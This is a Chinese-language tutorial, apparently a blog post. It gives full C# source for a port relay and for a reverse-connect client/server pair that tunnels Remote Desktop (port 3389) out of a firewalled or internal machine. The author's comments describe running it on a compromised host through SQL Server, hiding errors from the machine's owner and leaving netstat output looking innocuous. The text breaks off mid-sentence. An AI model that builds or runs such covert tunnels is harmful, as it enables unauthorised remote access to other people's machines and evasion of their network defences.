3389的時(shí)候

例子1：連接a機(jī)器的3389端口連不上，因?yàn)閷?duì)方防火墻或者網(wǎng)關(guān)做了限制，只能訪(fǎng)問(wèn)a機(jī)器的個(gè)別端口比如80。

例子2：連接a機(jī)器的幾乎所有端口都連不上（對(duì)方乃內(nèi)網(wǎng)或者防火墻網(wǎng)關(guān)做了限制），只能1433上去，但是對(duì)方可以連接你的某些端口。

解決

第一種較簡(jiǎn)單，只需要程序在對(duì)方開(kāi)80，你連接他80，程序收到數(shù)據(jù)后，發(fā)送到他本機(jī)的3389，同時(shí)從他3389收到數(shù)據(jù)后返回到你。程序就是一個(gè)中轉(zhuǎn)站。

using System;
using System.Net.Sockets;
using System.Threading;

namespace PortTransponder
{
    class Program
    {
        static void Main(string[] args)
        {
            TcpListener tl = new TcpListener(80);//這里開(kāi)對(duì)方可以被你連接并且未被占用的端口
            tl.Start();
            while (true)//這里必須用循環(huán)，可以接收不止一個(gè)客戶(hù)，因?yàn)槲野l(fā)現(xiàn)終端服務(wù)有時(shí)一個(gè)端口不行就換一個(gè)端口重連
            {
                //下面的意思就是一旦程序收到你發(fā)送的數(shù)據(jù)包后立刻開(kāi)2個(gè)線(xiàn)程做中轉(zhuǎn)
                try
                {
                    TcpClient tc1 = tl.AcceptTcpClient();//這里是等待數(shù)據(jù)再執(zhí)行下邊，不會(huì)100%占用cpu
                    TcpClient tc2 = new TcpClient("localhost", 3389);
                    tc1.SendTimeout = 300000;//設(shè)定超時(shí)，否則端口將一直被占用，即使失去連接
                    tc1.ReceiveTimeout = 300000;
                    tc2.SendTimeout = 300000;
                    tc2.ReceiveTimeout = 300000;
                    object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                    object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                    ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                    ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
                }
                catch { }
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    //這里必須try catch，否則連接一旦中斷程序就崩潰了，要是彈出錯(cuò)誤提示讓機(jī)主看見(jiàn)那就囧了
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}

這樣在對(duì)方機(jī)器執(zhí)行和，直接mstsc /v:對(duì)方ip:80就能終端上去了

第二種稍微復(fù)雜一點(diǎn)，需要客戶(hù)機(jī)和服務(wù)器2個(gè)程序，你在自己機(jī)器上開(kāi)服務(wù)器端，在對(duì)方機(jī)器上執(zhí)行客戶(hù)端連接你的服務(wù)器端，一旦連接上你的服務(wù)器端再開(kāi)個(gè)端口讓終端程序連接，對(duì)方機(jī)器上客戶(hù)端再開(kāi)個(gè)端口連接他自己的3389，做2次中轉(zhuǎn)就可以終端上去了。

具體流程

本機(jī)ip開(kāi)8080端口

對(duì)方機(jī)器連接你的8080端口，比如端口是49908

連接成功后

你的機(jī)器再開(kāi)一個(gè)比如9833端口

對(duì)方機(jī)器再開(kāi)一個(gè)連接連接他自己的3389，比如端口是49909吧

好這時(shí)你用你的mstsc連接自己的 localhost:9833，數(shù)據(jù)包就從本機(jī)9833-本機(jī)8080-對(duì)方49908-對(duì)方49909-對(duì)方3389，對(duì)方3389的數(shù)據(jù)反著回來(lái)就行了。

//服務(wù)器端
using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Threading;

namespace fanxiangserver
{
    class Program
    {
        public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();
        public static NetworkStream kongzhins = null;
        static void Main(string[] args)
        {
            ThreadPool.QueueUserWorkItem(new WaitCallback(start1));
            ThreadPool.QueueUserWorkItem(new WaitCallback(start2));
            WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });
        }
        public static void start1(object obj)
        {
            TcpListener tl = new TcpListener(8080);//開(kāi)一個(gè)對(duì)方可以連接的端口，今天這棒子機(jī)器連他只能1433，其他連不上，他連別人只能80 8080 21   
            tl.Start();
            while (true)
            {
                TcpClient tc = tl.AcceptTcpClient();
                jieshou(tc);
            }
        }
        public static void start2(object obj)
        {
            TcpListener tl = new TcpListener(9833); //開(kāi)一個(gè)隨意端口讓自己的mstsc連。   
            tl.Start();
            while (true)
            {
                TcpClient tc = tl.AcceptTcpClient();
                Random rnd = new Random();
                int biaoji = rnd.Next(1000000000, 2000000000);
                dic.Add(biaoji, tc);
                byte[] bt = BitConverter.GetBytes(biaoji);
                kongzhins.Write(bt, 0, bt.Length);
            }
        }
        public static void jieshou(TcpClient tc)
        {
            //這里體現(xiàn)的是一個(gè)配對(duì)的問(wèn)題，自己體會(huì)一下吧
            NetworkStream ns = tc.GetStream();
            byte[] bt = new byte[4];
            int count = ns.Read(bt, 0, bt.Length);
            if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b)
            {
                kongzhins = ns;
            }
            else
            {
                int biaoji = BitConverter.ToInt32(bt, 0);
                lianjie(biaoji, tc);
            }
        }
        public static void lianjie(int biaoji, TcpClient tc1)
        {
            TcpClient tc2 = null;
            if (dic.ContainsKey(biaoji))
            {
                dic.TryGetValue(biaoji, out tc2);
                dic.Remove(biaoji);
                tc1.SendTimeout = 300000;
                tc1.ReceiveTimeout = 300000;
                tc2.SendTimeout = 300000;
                tc2.ReceiveTimeout = 300000;
                object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    //這里必須try catch，否則連接一旦中斷程序就崩潰了，要是彈出錯(cuò)誤提示讓機(jī)主看見(jiàn)那就囧了
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}

 ；

//客戶(hù)端
using System;
using System.Text;
using System.Net.Sockets;
using System.Threading;

namespace fanxiangclient
{
    class Program
    {
        public static NetworkStream kongzhins = null;
        static void Main(string[] args)
        {
            try
            {
                TcpClient tc = new TcpClient("你的IP", 8080);
                kongzhins = tc.GetStream();
                byte[] bt = Encoding.Default.GetBytes("ok");//這里發(fā)送一個(gè)連接提示
                kongzhins.Write(bt, 0, bt.Length);
                jieshou();
                WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//這里為什么要這樣呢?我發(fā)現(xiàn)sqlserver執(zhí)行是localsystem賬號(hào)如果console.read()程序馬上退出
            }
            catch { }
        }
        public static void jieshou()
        {
            while (true)
            {
                byte[] bt = new byte[4];
                kongzhins.Read(bt, 0, bt.Length);
                TcpClient tc1 = new TcpClient("你的IP", 8080);
                TcpClient tc2 = new TcpClient("localhost", 3389);
                tc1.SendTimeout = 300000;
                tc1.ReceiveTimeout = 300000;
                tc2.SendTimeout = 300000;
                tc2.ReceiveTimeout = 300000;
                tc1.GetStream().Write(bt, 0, bt.Length);
                object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}

好，這樣你連接mstsc /v:localhost:9833，后數(shù)據(jù)就經(jīng)過(guò)了好幾轉(zhuǎn)轉(zhuǎn)到了對(duì)方的3389上。這樣即使對(duì)方是內(nèi)網(wǎng)也可以被終端了，而且好處是對(duì)方查看netstat -an看到的是這種東西